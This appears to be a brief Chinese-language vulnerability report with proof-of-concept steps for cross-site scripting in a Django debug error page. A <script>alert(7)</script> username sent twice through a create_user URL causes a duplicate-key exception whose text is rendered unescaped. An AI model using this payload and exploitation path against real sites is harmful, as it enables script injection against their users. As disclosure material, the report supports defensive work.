1.建立個用戶:ip:8000/create_user/?username=<script>alert(7)</script>
xss
顯示用戶已建立。
2.觸發漏洞,再次訪問ip:8000/create_user/?username=<script>alert(7)</script>
ide
3.觸發異常:code
duplicate key value violates unique constraint "xss_user_username_key" DETAIL: Key (username)=(<script>alert(7)</script>) already exists.
4.這個異常被拼接進The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最後觸發XSS。圖片